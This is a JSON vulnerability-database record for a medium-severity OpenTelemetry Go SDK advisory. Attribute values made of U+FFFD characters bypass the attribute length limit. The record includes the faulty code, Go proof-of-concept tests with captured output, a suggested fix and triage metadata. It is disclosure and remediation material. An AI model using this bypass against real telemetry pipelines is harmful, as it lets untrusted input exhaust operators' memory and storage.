{"id":"CVE-2026-128085","kind":"vulnerability","aliases":["CVE-2026-128085","GHSA-q7gw-24fr-5p69"],"related":[],"title":"opentelemetry-go: AttributeValueLengthLimit is fully bypassed by attribute values composed of valid U+FFFD runes","description":"## Summary\n\nThe `AttributeValueLengthLimit` span/log-record limit can be bypassed entirely with attribute values that consist of valid U+FFFD (REPLACEMENT CHARACTER) runes. The counting-based truncation introduced by the fix for GHSA-p9f8-wvj8-2fg8 (commit `e016a78c9`, first released in v1.33.0) has an \"optimistic\" fast path that skips every U+FFFD without counting it and without falling back to the correct slow path. A value of 1000 U+FFFD runes (3000 bytes) is stored verbatim even with a limit of 5 characters (15 bytes). The same defect affects the attribute truncation paths in `go.opentelemetry.io/otel/sdk/trace` (`sdk/internal/attrnorm`), `go.opentelemetry.io/otel/sdk/log` (`sdk/log/internal/attrnorm`), and the auto-instrumentation tracer in `go.opentelemetry.io/otel/trace` (`trace/auto.go`, introduced in `v1.35.0`).\n\nThis is an incomplete-fix issue: it is a distinct defect in the replacement code that GHSA-p9f8-wvj8-2fg8 introduced, affecting exactly the versions that advisory says are fixed (>= v1.33.0). The original advisory covers only the pre-v1.33.0 code.\n\n## Details\n\nThe shared truncation helper is generated from `internal/shared/attrnorm/truncate.go.tmpl`. In the v1.46.0 release, the generated copies are `sdk/internal/attrnorm/truncate.go` and `sdk/log/internal/attrnorm/truncate.go` (identical logic, different package names). The optimistic path (v1.46.0, `sdk/internal/attrnorm/truncate.go:175-199`) is:\n\n```go\n// Optimistically, assume all valid UTF-8.\nvar b strings.Builder\ncount := 0\nfor i, c := range s {\n    if c != utf8.RuneError {\n        count++\n        if count > limit {\n            return s[:i]\n        }\n        continue\n    }\n    _, size := utf8.DecodeRuneInString(s[i:])\n    if size == 1 {\n        // invalid encoding: fall through to the correct slow path\n        ...\n        break\n    }\n}\n```\n\n`range` over a string yields `utf8.RuneError` both for invalid bytes (size 1) and for a legitimately encoded U+FFFD (size 3). Only the size-1 case enters the slow path. A valid U+FFFD rune is therefore neither counted nor truncating: the loop slides over it. Consequences:\n\n1. A value made only of valid U+FFFD runes never increments `count`, so no truncation ever triggers and the value is returned unchanged, whatever its length.\n2. In a mixed string, every U+FFFD contributes 3 bytes that are not counted, and the final `return s[:i]` keeps all previously skipped U+FFFD runes, so the retained size grows linearly with the number of U+FFFD runes and is not bounded by `limit`.\n\nThe OpenTelemetry specification states that truncation applies \"counting any character in it as 1\". A valid U+FFFD is one character and must count as 1; here it counts as 0. The regression test suite of the repository contains no U+FFFD case, which is why this went unnoticed.\n\nCall chains (v1.46.0):\n\n- trace: `span.SetAttributes` -> `sdk/trace/span.go` (`normAttr`) -> `attrnorm.Truncate` -> `sdk/internal/attrnorm/truncate.go` (`truncate`)\n- log: `Record.AddAttributes` / `SetAttributes` -> `sdk/log/record.go` (`attrnorm.TruncateValue`) -> `sdk/log/internal/attrnorm/truncate.go` (`truncate`)\n\nDeduplication: GHSA-p9f8-wvj8-2fg8 describes the pre-v1.33.0 helper (`safeTruncateValidUTF8`), which gave up truncating entirely for strings containing RuneError. The rewrite in `e016a78c9` replaced that code; this report concerns the rewritten code, is present only in versions that the advisory lists as fixed, and no public issue or advisory describes it.\n\n## PoC\n\nMinimal reproduction with the published release (no repository checkout needed). Go 1.25+ is required (the release declares `go 1.25.0`; any recent toolchain auto-selects one).\n\nCreate a directory with these files.\n\n`go.mod` (then run `go mod tidy` once to fill `go.sum`):\n\n```\nmodule otelpoc\n\ngo 1.25.0\n\nrequire (\n\tgo.opentelemetry.io/otel v1.46.0\n\tgo.opentelemetry.io/otel/log v0.22.0\n\tgo.opentelemetry.io/otel/sdk v1.46.0\n\tgo.opentelemetry.io/otel/sdk/log v0.22.0\n\tgo.opentelemetry.io/otel/trace v1.46.0\n)\n```\n\n`otelgo_truncate_test.go`:\n\n```go\npackage otelpoc\n\nimport (\n\t\"context\"\n\t\"strings\"\n\t\"testing\"\n\t\"unicode/utf8\"\n\n\t\"go.opentelemetry.io/otel/attribute\"\n\tsdktrace \"go.opentelemetry.io/otel/sdk/trace\"\n\t\"go.opentelemetry.io/otel/sdk/trace/tracetest\"\n\t\"go.opentelemetry.io/otel/trace\"\n)\n\n// limitsWithLen returns span limits with AttributeValueLengthLimit=limit and\n// everything else unlimited, isolating the length-limit enforcement under test.\nfunc limitsWithLen(limit int) sdktrace.SpanLimits {\n\tlim := sdktrace.NewSpanLimits()\n\tlim.AttributeValueLengthLimit = limit\n\tlim.AttributeCountLimit = -1\n\tlim.AttributePerEventCountLimit = -1\n\tlim.AttributePerLinkCountLimit = -1\n\tlim.EventCountLimit = -1\n\tlim.LinkCountLimit = -1\n\treturn lim\n}\n\nfunc captureOneSpan(t *testing.T, limit int, attrs ...attribute.KeyValue) []attribute.KeyValue {\n\tt.Helper()\n\tsr := tracetest.NewSpanRecorder()\n\ttp := sdktrace.NewTracerProvider(\n\t\tsdktrace.WithSpanProcessor(sr),\n\t\tsdktrace.WithSpanLimits(limitsWithLen(limit)),\n\t)\n\tdefer func() { _ = tp.Shutdown(context.Background()) }()\n\n\ttr := tp.Tracer(\"poc\")\n\t_, span := tr.Start(context.Background(), \"op\")\n\tspan.SetAttributes(attrs...)\n\tspan.End()\n\n\tended := sr.Ended()\n\tif len(ended) != 1 {\n\t\tt.Fatalf(\"expected 1 ended span, got %d\", len(ended))\n\t}\n\treturn ended[0].Attributes()\n}\n\n// TestOT001_FFFDOnlyStringBypassesTraceLengthLimit demonstrates that a string\n// attribute composed of valid U+FFFD runes is stored completely untruncated\n// although AttributeValueLengthLimit=5.\nfunc TestOT001_FFFDOnlyStringBypassesTraceLengthLimit(t *testing.T) {\n\tconst limit = 5\n\tval := strings.Repeat(\"\\uFFFD\", 1000) // 1000 chars, 3000 bytes\n\n\tgot := captureOneSpan(t, limit, attribute.String(\"k\", val))\n\tif len(got) != 1 {\n\t\tt.Fatalf(\"expected 1 attribute, got %d\", len(got))\n\t}\n\tstored := got[0].Value.AsString()\n\tt.Logf(\"input: %d chars / %d bytes; stored: %d chars / %d bytes; limit=%d\",\n\t\tutf8.RuneCountInString(val), len(val),\n\t\tutf8.RuneCountInString(stored), len(stored), limit)\n\t// Per OTel spec (\"counting any character in it as 1\") the stored value\n\t// must be at most `limit` characters (<= 15 bytes for U+FFFD).\n\tif maxBytes := 3 * limit; len(stored) > maxBytes {\n\t\tt.Fatalf(\"BYPASS: AttributeValueLengthLimit=%d but %d bytes stored (expected <=%d)\",\n\t\t\tlimit, len(stored), maxBytes)\n\t}\n}\n\n// TestOT001_FFFDMixedStringOverRetains demonstrates that valid U+FFFD runes\n// are not counted in the optimistic truncation path: every U+FFFD adds 3\n// uncounted bytes to the retained value.\nfunc TestOT001_FFFDMixedStringOverRetains(t *testing.T) {\n\tconst limit = 5\n\tval := strings.Repeat(\"\\uFFFD\", 100) + strings.Repeat(\"A\", 6) // 106 chars, 306 bytes\n\n\tgot := captureOneSpan(t, limit, attribute.String(\"k\", val))\n\tstored := got[0].Value.AsString()\n\tt.Logf(\"input: %d chars / %d bytes; stored: %d chars / %d bytes; limit=%d\",\n\t\tutf8.RuneCountInString(val), len(val),\n\t\tutf8.RuneCountInString(stored), len(stored), limit)\n\tif chars := utf8.RuneCountInString(stored); chars > limit {\n\t\tt.Fatalf(\"BYPASS: AttributeValueLengthLimit=%d but %d chars / %d bytes stored\",\n\t\t\tlimit, chars, len(stored))\n\t}\n}\n\n// TestOT001_ASCIIControl is the control case: plain ASCII over-limit values\n// ARE truncated, proving the length limit is active in the same setup.\nfunc TestOT001_ASCIIControl(t *testing.T) {\n\tconst limit = 5\n\tval := strings.Repeat(\"B\", 20)\n\n\tgot := captureOneSpan(t, limit, attribute.String(\"k\", val))\n\tstored := got[0].Value.AsString()\n\tt.Logf(\"input: %d chars / %d bytes; stored: %d chars / %d bytes; limit=%d\",\n\t\tutf8.RuneCountInString(val), len(val),\n\t\tutf8.RuneCountInString(stored), len(stored), limit)\n\tif len(stored) != limit {\n\t\tt.Fatalf(\"control failed: ASCII value not truncated (stored %d bytes)\", len(stored))\n\t}\n}\n\n// TestOT001_EventAttributesNotLengthTruncated documents that span-event\n// attributes bypass AttributeValueLengthLimit entirely (no attrnorm.Truncate\n// call in recordingSpan.addEvent).\nfunc TestOT001_EventAttributesNotLengthTruncated(t *testing.T) {\n\tconst limit = 5\n\tval := strings.Repeat(\"C\", 100)\n\n\tsr := tracetest.NewSpanRecorder()\n\ttp := sdktrace.NewTracerProvider(\n\t\tsdktrace.WithSpanProcessor(sr),\n\t\tsdktrace.WithSpanLimits(limitsWithLen(limit)),\n\t)\n\tdefer func() { _ = tp.Shutdown(context.Background()) }()\n\ttr := tp.Tracer(\"poc\")\n\t_, span := tr.Start(context.Background(), \"op\")\n\tspan.AddEvent(\"ev\", trace.WithAttributes(attribute.String(\"k\", val)))\n\tspan.End()\n\n\tended := sr.Ended()\n\tevents := ended[0].Events()\n\tif len(events) != 1 {\n\t\tt.Fatalf(\"expected 1 event, got %d\", len(events))\n\t}\n\tstored := events[0].Attributes[0].Value.AsString()\n\tt.Logf(\"event attribute input: %d bytes; stored: %d bytes; limit=%d\", len(val), len(stored), limit)\n\tif len(stored) > limit {\n\t\tt.Logf(\"CONFIRMED: event attribute not length-truncated (%d bytes > limit %d)\", len(stored), limit)\n\t}\n}\n```\n\n(The `-run` pattern above selects the three truncation cases plus the control; the fourth test function is included because it is part of the exact file that produced the output below - it compiles but is not selected by the pattern, and its output does not appear.)\n\n`otelgo_log_truncate_test.go`:\n\n```go\npackage otelpoc\n\nimport (\n\t\"context\"\n\t\"strings\"\n\t\"sync\"\n\t\"testing\"\n\t\"unicode/utf8\"\n\n\t\"go.opentelemetry.io/otel/attribute\"\n\tapisdk \"go.opentelemetry.io/otel/log\"\n\tsdklog \"go.opentelemetry.io/otel/sdk/log\"\n)\n\ntype captureProcessor struct {\n\tmu   sync.Mutex\n\trecs []*sdklog.Record\n}\n\nfunc (c *captureProcessor) Enabled(context.Context, sdklog.EnabledParameters) bool { return true }\n\nfunc (c *captureProcessor) OnEmit(_ context.Context, r *sdklog.Record) error {\n\tc.mu.Lock()\n\tdefer c.mu.Unlock()\n\tclone := r.Clone()\n\tc.recs = append(c.recs, &clone)\n\treturn nil\n}\n\nfunc (c *captureProcessor) Shutdown(context.Context) error { return nil }\nfunc (c *captureProcessor) ForceFlush(context.Context) error {\n\treturn nil\n}\n\n// TestOT001_FFFDOnlyStringBypassesLogLengthLimit repeats the bypass against\n// the sdk/log attribute path (sdk/log/internal/attrnorm, same template).\nfunc TestOT001_FFFDOnlyStringBypassesLogLengthLimit(t *testing.T) {\n\tconst limit = 5\n\tcp := &captureProcessor{}\n\tlp := sdklog.NewLoggerProvider(\n\t\tsdklog.WithProcessor(cp),\n\t\tsdklog.WithAttributeValueLengthLimit(limit),\n\t)\n\tdefer func() { _ = lp.Shutdown(context.Background()) }()\n\n\tlogger := lp.Logger(\"poc\")\n\tvar r apisdk.Record\n\tr.SetSeverity(apisdk.SeverityInfo)\n\tr.AddAttributes(attribute.String(\"k\", strings.Repeat(\"\\uFFFD\", 1000)))\n\tlogger.Emit(context.Background(), r)\n\n\tcp.mu.Lock()\n\tif len(cp.recs) != 1 {\n\t\tt.Fatalf(\"expected 1 record, got %d\", len(cp.recs))\n\t}\n\trec := cp.recs[0]\n\tcp.mu.Unlock()\n\n\tstored := \"\"\n\trec.WalkAttributes(func(kv attribute.KeyValue) bool {\n\t\tif string(kv.Key) == \"k\" {\n\t\t\tstored = kv.Value.AsString()\n\t\t}\n\t\treturn true\n\t})\n\tt.Logf(\"sdk/log input: 1000 chars / 3000 bytes; stored: %d chars / %d bytes; limit=%d\",\n\t\tutf8.RuneCountInString(stored), len(stored), limit)\n\tif maxBytes := 3 * limit; len(stored) > maxBytes {\n\t\tt.Fatalf(\"BYPASS: sdk/log WithAttributeValueLengthLimit=%d but %d bytes stored (expected <=%d)\",\n\t\t\tlimit, len(stored), maxBytes)\n\t}\n}\n```\n\nRun:\n\n```\ngo mod tidy\ngo test -count=1 -v -run \"TestOT001_FFFDOnlyStringBypassesTraceLengthLimit|TestOT001_FFFDMixedStringOverRetains|TestOT001_ASCIIControl|TestOT001_FFFDOnlyStringBypassesLogLengthLimit\" .\n```\n\nExpected output (captured against the published v1.46.0 modules; the three FAIL lines are the bypass being triggered and the PASS control proves the limit is active in the same setup; the only varying parts are the durations in parentheses and the total on the `FAIL\totelpoc` summary line):\n\n```\n=== RUN   TestOT001_FFFDOnlyStringBypassesLogLengthLimit\n    otelgo_log_truncate_test.go:66: sdk/log input: 1000 chars / 3000 bytes; stored: 1000 chars / 3000 bytes; limit=5\n    otelgo_log_truncate_test.go:69: BYPASS: sdk/log WithAttributeValueLengthLimit=5 but 3000 bytes stored (expected <=15)\n--- FAIL: TestOT001_FFFDOnlyStringBypassesLogLengthLimit (0.00s)\n=== RUN   TestOT001_FFFDOnlyStringBypassesTraceLengthLimit\n    otelgo_truncate_test.go:61: input: 1000 chars / 3000 bytes; stored: 1000 chars / 3000 bytes; limit=5\n    otelgo_truncate_test.go:67: BYPASS: AttributeValueLengthLimit=5 but 3000 bytes stored (expected <=15)\n--- FAIL: TestOT001_FFFDOnlyStringBypassesTraceLengthLimit (0.00s)\n=== RUN   TestOT001_FFFDMixedStringOverRetains\n    otelgo_truncate_test.go:81: input: 106 chars / 306 bytes; stored: 105 chars / 305 bytes; limit=5\n    otelgo_truncate_test.go:85: BYPASS: AttributeValueLengthLimit=5 but 105 chars / 305 bytes stored\n--- FAIL: TestOT001_FFFDMixedStringOverRetains (0.00s)\n=== RUN   TestOT001_ASCIIControl\n    otelgo_truncate_test.go:98: input: 20 chars / 20 bytes; stored: 5 chars / 5 bytes; limit=5\n--- PASS: TestOT001_ASCIIControl (0.00s)\nFAIL\nFAIL\totelpoc\t0.059s\nFAIL\n```\n\nThe mixed-string case stores 105 characters for a limit of 5: the 100 U+FFFD runes (300 uncounted bytes) are all retained, plus 5 of the 6 ASCII characters.\n\n## Impact\n\nApplications that enable `AttributeValueLengthLimit` (or `WithAttributeValueLengthLimit` for logs) to bound attribute memory do not get that bound for values containing valid U+FFFD runes. Span and log-record attribute values are routinely derived from untrusted input (HTTP headers, request bodies, database fields), so an attacker can inflate per-span memory retention linearly, defeating the memory protection the operator explicitly enabled and accumulating increased memory usage over the span/log pipeline. Confidentiality and integrity are not affected.\n\n## Suggested fix\n\nIn the optimistic loop, count every rune of size > 1 (including the legitimately encoded U+FFFD) and only divert size-1 invalid bytes to the slow path. Add regression cases for: pure U+FFFD strings, U+FFFD-dominated mixed strings, and a truncation point landing after a U+FFFD (the current `truncate_test.go` has no U+FFFD case).","summary":"The OpenTelemetry Go SDK's attribute value length limit does not count valid U+FFFD (replacement character) runes, so attribute values made of them are stored untruncated. An attacker who controls span or log attribute values can make telemetry store oversized data, which can exhaust memory or storage in the telemetry pipeline.","severity":"medium","cvss":5.3,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"go.opentelemetry.io/otel/sdk","fixed":["1.47.0"],"affected":">= 1.33.0, < 1.47.0","ecosystem":"go"},{"name":"go.opentelemetry.io/otel/sdk/log","fixed":["1.47.0"],"affected":">= 0.9.0, < 1.47.0","ecosystem":"go"},{"name":"go.opentelemetry.io/otel/trace","fixed":["1.47.0"],"affected":">= 1.35.0, < 1.47.0","ecosystem":"go"}],"ecosystems":["go"],"tags":["cwe-135","cwe-770","go","logging","opentelemetry","package","tracing"],"not_affected_if":["default-config","no-untrusted-attributes"],"how_to_check":"- Check the version of `go.opentelemetry.io/otel/sdk`, `go.opentelemetry.io/otel/sdk/log` and `go.opentelemetry.io/otel/trace` in `go.mod` or `go list -m all`\n- Look for `AttributeValueLengthLimit` or `WithAttributeValueLengthLimit` in your code; the limit is only meaningful if it is set\n- Confirm whether untrusted input (request fields, headers) ends up in span or log attributes","fix":"- `go.opentelemetry.io/otel/sdk`: `1.47.0` (affected `>= 1.33.0`, `< 1.47.0`)\n- `go.opentelemetry.io/otel/sdk/log`: `1.47.0` (affected `>= 0.9.0`, `< 1.47.0`)\n- `go.opentelemetry.io/otel/trace`: `1.47.0` (affected `>= 1.35.0`, `< 1.47.0`)","status":"open","published_at":"2026-11-13T19:00:55+00:00","first_seen_at":"2026-11-13T19:03:28+00:00","triaged_at":"2026-11-13T19:03:57+00:00","updated_at":"2026-11-13T19:03:57+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-11-13T19:03:57Z","model":"claude-haiku-5-5","output":{"fix":"- `go.opentelemetry.io/otel/sdk`: `1.47.0` (affected `>= 1.33.0`, `< 1.47.0`)\n- `go.opentelemetry.io/otel/sdk/log`: `1.47.0` (affected `>= 0.9.0`, `< 1.47.0`)\n- `go.opentelemetry.io/otel/trace`: `1.47.0` (affected `>= 1.35.0`, `< 1.47.0`)","reach":"unknown","title":"OpenTelemetry Go SDK: attribute length limit bypassed by U+FFFD replacement characters","impact":"low","summary":"The OpenTelemetry Go SDK's attribute value length limit does not count valid U+FFFD (replacement character) runes, so attribute values made of them are stored untruncated. An attacker who controls span or log attribute values can make telemetry store oversized data, which can exhaust memory or storage in the telemetry pipeline.","audience":"developers","category":"package","nicknames":[],"who_cares":["go","opentelemetry","tracing","logging"],"confidence":0.8,"fix_status":"available","needs_auth":"unknown","worst_case":"oversized attribute values are stored, consuming memory and storage","analyst_note":"","how_to_check":"- Check the version of `go.opentelemetry.io/otel/sdk`, `go.opentelemetry.io/otel/sdk/log` and `go.opentelemetry.io/otel/trace` in `go.mod` or `go list -m all`\n- Look for `AttributeValueLengthLimit` or `WithAttributeValueLengthLimit` in your code; the limit is only meaningful if it is set\n- Confirm whether untrusted input (request fields, headers) ends up in span or log attributes","plain_action":"","product_name":"","needs_analyst":false,"not_affected_if":["default-config","no-untrusted-attributes"],"who_is_affected":"Applications that use the OpenTelemetry Go SDK for tracing or logging and set an attribute value length limit, where attribute values can carry untrusted input made of U+FFFD characters. The flaw only changes how much data telemetry keeps; it does not allow code execution. Services that do not use these modules at these versions, or that never record attacker-influenced attributes, can skip it.","user_interaction":"no","product_ecosystem":"","needs_special_setup":"yes","severity_if_unknown":"unknown"},"cost_usd":0.001447,"input_tokens":10344,"output_tokens":825,"severity_before":"medium"},"analyst_status":null,"analyst_note":null,"search":"'-1':360C '-128085':19A,27A '-135':38B '-199':289C '-2026':18A,26A '-770':40B '-8':297C '/otel':628C '/otel/log':632C '/otel/sdk':30A,636C '/otel/sdk/log':33A,198C,640C '/otel/sdk/trace':194C '/otel/trace':36A,209C,644C '0':302C,487C '1':325C,347C,383C,470C,482C '1.25':590C '1.25.0':597C,624C '1000':165C '15':181C '175':288C '2':410C '24fr':23A '2fg8':133C,235C,528C '3':356C,419C '3000':169C '33.0':256C,534C '5':179C '5p69':24A 'advisori':242C,249C,566C,575C 'affect':186C,237C 'appli':463C 'assum':293C 'attack':74B 'attribut':9A,51B,65B,80B,108C,188C 'attributevaluelengthlimit':4A,100C 'attrnorm.truncate':513C 'attrnorm.truncatevalue':520C 'auto':203C,602C 'auto-instrument':202C 'auto-select':601C 'b':299C 'back':156C 'base':122C 'bound':454C 'break':335C 'bypass':7A,105C 'byte':170C,182C,345C,420C 'c':305C,309C 'call':506C 'case':361C,499C 'chain':507C 'charact':62B,117C,180C,466C,477C 'checkout':587C 'code':229C,257C,552C,558C 'commit':134C 'compos':11A 'concern':555C 'consequ':382C 'consist':111C 'contain':495C,544C 'continu':318C 'contribut':418C 'control':76B 'copi':273C 'correct':159C,332C 'count':57B,121C,151C,301C,311C,313C,374C,395C,424C,464C,480C,485C 'counting-bas':120C 'cover':250C 'creat':605C 'cve':17A,25A 'cwe':37B,39B 'data':87B 'declar':595C 'dedupl':523C 'defect':185C,225C 'describ':529C,576C 'detail':258C 'differ':280C 'directori':607C 'distinct':224C 'e016a78c9':135C,549C 'encod':327C,352C 'enter':362C 'entir':106C,541C 'even':174C 'ever':399C 'everi':147C,415C 'exact':238C 'exhaust':90B 'fall':155C,328C 'fast':143C 'fffd':15A,60B,115C,149C,167C,354C,369C,391C,417C,436C,449C,474C,498C 'file':610C 'fill':619C 'final':427C 'first':136C 'fix':127C,219C,245C,569C 'fulli':6A 'gave':538C 'generat':264C,272C 'ghsa':21A,130C,232C,525C 'ghsa-p9f8-wvj8-2fg8':129C,231C,524C 'ghsa-q7gw-24fr-5p69':20A 'go':3A,41B,48B,291C,589C,596C,614C,623C 'go.mod':611C 'go.opentelemetry.io':29A,32A,35A,193C,197C,208C,627C,631C,635C,639C,643C 'go.opentelemetry.io/otel':626C 'go.opentelemetry.io/otel/log':630C 'go.opentelemetry.io/otel/sdk':28A,634C 'go.opentelemetry.io/otel/sdk/log':31A,196C,638C 'go.opentelemetry.io/otel/sdk/trace':192C 'go.opentelemetry.io/otel/trace':34A,207C,642C 'go.sum':620C 'grow':442C 'helper':262C,535C 'ident':278C 'incomplet':218C 'incomplete-fix':217C 'increment':394C 'instrument':204C 'internal/shared/attrnorm/truncate.go.tmpl':266C 'introduc':124C,211C,236C 'invalid':326C,344C 'issu':220C,573C 'keep':431C 'legitim':351C 'length':53B,409C 'limit':54B,102C,177C,314C,456C 'linear':443C 'list':567C 'log':42B,79B,516C 'logic':279C 'loop':378C 'made':67B,386C 'make':83B 'memori':91B 'minim':579C 'mix':413C 'mod':615C 'modul':621C 'must':479C 'name':282C 'need':588C 'neither':373C 'never':393C 'normattr':512C 'number':446C 'one':476C,604C 'opentelemetri':2A,43B,47B,458C 'opentelemetry-go':1A 'optimist':142C,284C,292C 'origin':248C 'otelpoc':622C 'overs':86B 'p9f8':131C,233C,526C 'packag':44B,281C 'path':144C,161C,190C,285C,334C,365C 'pipelin':97B 'poc':578C 'pre':254C,532C 'pre-v1':253C,531C 'present':560C 'previous':433C 'public':572C 'publish':583C 'q7gw':22A 'rang':306C,336C 'recent':599C 'record.addattributes':517C 'regress':489C 'releas':137C,270C,584C,594C 'replac':61B,116C,228C,550C 'report':554C 'repositori':494C,586C 'reproduct':580C 'requir':592C,625C 'retain':440C 'return':315C,405C,428C 'rewrit':547C 'rewritten':557C 'run':613C 'rune':16A,63B,118C,168C,370C,392C,437C,450C 'runeerror':545C 'safetruncatevalidutf8':536C 'say':243C 'sdk':49B 'sdk/internal/attrnorm':195C 'sdk/internal/attrnorm/truncate.go':275C,287C,514C 'sdk/log/internal/attrnorm':199C 'sdk/log/internal/attrnorm/truncate.go':277C,521C 'sdk/log/record.go':519C 'sdk/trace/span.go':511C 'select':603C 'setattribut':518C 'share':260C 'size':319C,324C,346C,355C,359C,441C 'skip':146C,434C 'slide':379C 'slow':160C,333C,364C 'span':77B 'span.setattributes':510C 'span/log-record':101C 'specif':459C 'state':460C 'storag':93B 'store':71B,85B,172C 'string':339C,414C,543C 'strings.builder':300C 'suit':491C 'summari':98C 'telemetri':84B,96B 'test':490C 'therefor':372C 'tidi':616C 'toolchain':600C 'trace':45B,509C 'trace/auto.go':210C 'tracer':205C 'trigger':400C 'truncat':123C,189C,261C,376C,398C,462C,515C,522C,540C 'u':14A,59B,114C,148C,166C,353C,368C,390C,416C,435C,448C,473C,497C 'unchang':406C 'unnot':505C 'untrunc':72B 'utf':296C 'utf8.decoderuneinstring':320C 'utf8.runeerror':310C,341C 'v0.22.0':633C,641C 'v1':255C,533C 'v1.33.0':139C,246C 'v1.35.0':213C 'v1.46.0':269C,286C,508C,629C,637C,645C 'valid':13A,58B,113C,295C,367C,389C,472C 'valu':10A,52B,66B,81B,109C,163C,385C,403C 'var':298C 'verbatim':173C 'version':240C,563C 'went':504C 'whatev':407C 'without':150C,154C 'wvj8':132C,234C,527C 'yield':340C","nicknames":[],"mitigations":[],"who_affected":"Applications that use the OpenTelemetry Go SDK for tracing or logging and set an attribute value length limit, where attribute values can carry untrusted input made of U+FFFD characters. The flaw only changes how much data telemetry keeps; it does not allow code execution. Services that do not use these modules at these versions, or that never record attacker-influenced attributes, can skip it.","tier":"C","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"pkeys":["goopentelemetryiootelsdk","goopentelemetryiootelsdklog","goopentelemetryiooteltrace"],"ptokens":["go","io","log","opentelemetry","otel","sdk","trace"],"labels":["cwe135","cwe770","go","logging","medium","opentelemetry","package","tracing"],"campaign_type":null,"search_a":"'-128085':19A,27A '-2026':18A,26A '/otel/sdk':30A '/otel/sdk/log':33A '/otel/trace':36A '24fr':23A '5p69':24A 'attribut':9A 'attributevaluelengthlimit':4A 'bypass':7A 'compos':11A 'cve':17A,25A 'fffd':15A 'fulli':6A 'ghsa':21A 'ghsa-q7gw-24fr-5p69':20A 'go':3A 'go.opentelemetry.io':29A,32A,35A 'go.opentelemetry.io/otel/sdk':28A 'go.opentelemetry.io/otel/sdk/log':31A 'go.opentelemetry.io/otel/trace':34A 'opentelemetri':2A 'opentelemetry-go':1A 'q7gw':22A 'rune':16A 'u':14A 'valid':13A 'valu':10A","search_b":"'-135':38B '-770':40B 'attack':74B 'attribut':51B,65B,80B 'charact':62B 'control':76B 'count':57B 'cwe':37B,39B 'data':87B 'exhaust':90B 'fffd':60B 'go':41B,48B 'length':53B 'limit':54B 'log':42B,79B 'made':67B 'make':83B 'memori':91B 'opentelemetri':43B,47B 'overs':86B 'packag':44B 'pipelin':97B 'replac':61B 'rune':63B 'sdk':49B 'span':77B 'storag':93B 'store':71B,85B 'telemetri':84B,96B 'trace':45B 'u':59B 'untrunc':72B 'valid':58B 'valu':52B,66B,81B","search_c":"'-1':360C '-199':289C '-8':297C '/otel':628C '/otel/log':632C '/otel/sdk':636C '/otel/sdk/log':198C,640C '/otel/sdk/trace':194C '/otel/trace':209C,644C '0':302C,487C '1':325C,347C,383C,470C,482C '1.25':590C '1.25.0':597C,624C '1000':165C '15':181C '175':288C '2':410C '2fg8':133C,235C,528C '3':356C,419C '3000':169C '33.0':256C,534C '5':179C 'advisori':242C,249C,566C,575C 'affect':186C,237C 'appli':463C 'assum':293C 'attribut':108C,188C 'attributevaluelengthlimit':100C 'attrnorm.truncate':513C 'attrnorm.truncatevalue':520C 'auto':203C,602C 'auto-instrument':202C 'auto-select':601C 'b':299C 'back':156C 'base':122C 'bound':454C 'break':335C 'bypass':105C 'byte':170C,182C,345C,420C 'c':305C,309C 'call':506C 'case':361C,499C 'chain':507C 'charact':117C,180C,466C,477C 'checkout':587C 'code':229C,257C,552C,558C 'commit':134C 'concern':555C 'consequ':382C 'consist':111C 'contain':495C,544C 'continu':318C 'contribut':418C 'copi':273C 'correct':159C,332C 'count':121C,151C,301C,311C,313C,374C,395C,424C,464C,480C,485C 'counting-bas':120C 'cover':250C 'creat':605C 'declar':595C 'dedupl':523C 'defect':185C,225C 'describ':529C,576C 'detail':258C 'differ':280C 'directori':607C 'distinct':224C 'e016a78c9':135C,549C 'encod':327C,352C 'enter':362C 'entir':106C,541C 'even':174C 'ever':399C 'everi':147C,415C 'exact':238C 'fall':155C,328C 'fast':143C 'fffd':115C,149C,167C,354C,369C,391C,417C,436C,449C,474C,498C 'file':610C 'fill':619C 'final':427C 'first':136C 'fix':127C,219C,245C,569C 'gave':538C 'generat':264C,272C 'ghsa':130C,232C,525C 'ghsa-p9f8-wvj8-2fg8':129C,231C,524C 'go':291C,589C,596C,614C,623C 'go.mod':611C 'go.opentelemetry.io':193C,197C,208C,627C,631C,635C,639C,643C 'go.opentelemetry.io/otel':626C 'go.opentelemetry.io/otel/log':630C 'go.opentelemetry.io/otel/sdk':634C 'go.opentelemetry.io/otel/sdk/log':196C,638C 'go.opentelemetry.io/otel/sdk/trace':192C 'go.opentelemetry.io/otel/trace':207C,642C 'go.sum':620C 'grow':442C 'helper':262C,535C 'ident':278C 'incomplet':218C 'incomplete-fix':217C 'increment':394C 'instrument':204C 'internal/shared/attrnorm/truncate.go.tmpl':266C 'introduc':124C,211C,236C 'invalid':326C,344C 'issu':220C,573C 'keep':431C 'legitim':351C 'length':409C 'limit':102C,177C,314C,456C 'linear':443C 'list':567C 'log':516C 'logic':279C 'loop':378C 'made':386C 'minim':579C 'mix':413C 'mod':615C 'modul':621C 'must':479C 'name':282C 'need':588C 'neither':373C 'never':393C 'normattr':512C 'number':446C 'one':476C,604C 'opentelemetri':458C 'optimist':142C,284C,292C 'origin':248C 'otelpoc':622C 'p9f8':131C,233C,526C 'packag':281C 'path':144C,161C,190C,285C,334C,365C 'poc':578C 'pre':254C,532C 'pre-v1':253C,531C 'present':560C 'previous':433C 'public':572C 'publish':583C 'rang':306C,336C 'recent':599C 'record.addattributes':517C 'regress':489C 'releas':137C,270C,584C,594C 'replac':116C,228C,550C 'report':554C 'repositori':494C,586C 'reproduct':580C 'requir':592C,625C 'retain':440C 'return':315C,405C,428C 'rewrit':547C 'rewritten':557C 'run':613C 'rune':118C,168C,370C,392C,437C,450C 'runeerror':545C 'safetruncatevalidutf8':536C 'say':243C 'sdk/internal/attrnorm':195C 'sdk/internal/attrnorm/truncate.go':275C,287C,514C 'sdk/log/internal/attrnorm':199C 'sdk/log/internal/attrnorm/truncate.go':277C,521C 'sdk/log/record.go':519C 'sdk/trace/span.go':511C 'select':603C 'setattribut':518C 'share':260C 'size':319C,324C,346C,355C,359C,441C 'skip':146C,434C 'slide':379C 'slow':160C,333C,364C 'span.setattributes':510C 'span/log-record':101C 'specif':459C 'state':460C 'store':172C 'string':339C,414C,543C 'strings.builder':300C 'suit':491C 'summari':98C 'test':490C 'therefor':372C 'tidi':616C 'toolchain':600C 'trace':509C 'trace/auto.go':210C 'tracer':205C 'trigger':400C 'truncat':123C,189C,261C,376C,398C,462C,515C,522C,540C 'u':114C,148C,166C,353C,368C,390C,416C,435C,448C,473C,497C 'unchang':406C 'unnot':505C 'utf':296C 